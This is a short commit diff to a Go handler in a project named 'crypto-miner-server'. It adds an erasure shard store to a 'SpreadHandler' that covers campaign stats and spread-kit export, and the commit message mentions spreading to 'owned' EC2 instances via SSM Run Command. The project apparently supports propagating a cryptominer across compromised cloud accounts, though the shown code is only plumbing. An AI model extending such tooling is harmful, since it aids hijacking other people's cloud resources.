Add ssm_document spread lane for owned EC2 via SSM Run Command.

server/internal/api/spread_handler.go

@@ -1,4 +1,4 @@
-package api
+package api
 
 import (
 	"encoding/json"
@@ -12,17 +12,25 @@ import (
 	"time"
 
 	dbpkg "crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/erasure"
 
 	"github.com/go-chi/chi/v5"
 )
 
 // SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export.
 type SpreadHandler struct {
-	db          *dbpkg.Database
-	dataDir     string
-	projectRoot string
-	wsHub       *WSHub
-	notesMu     sync.RWMutex
+	db            *dbpkg.Database
+	dataDir       string
+	projectRoot   string
+	wsHub         *WSHub
+	erasureShards *erasure.ShardStore
+	notesMu       sync.RWMutex
+}
+
+func (h *SpreadHandler) BindErasureShards(store *erasure.ShardStore) {
+	if h != nil {
+		h.erasureShards = store
+	}
 }
 
 func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {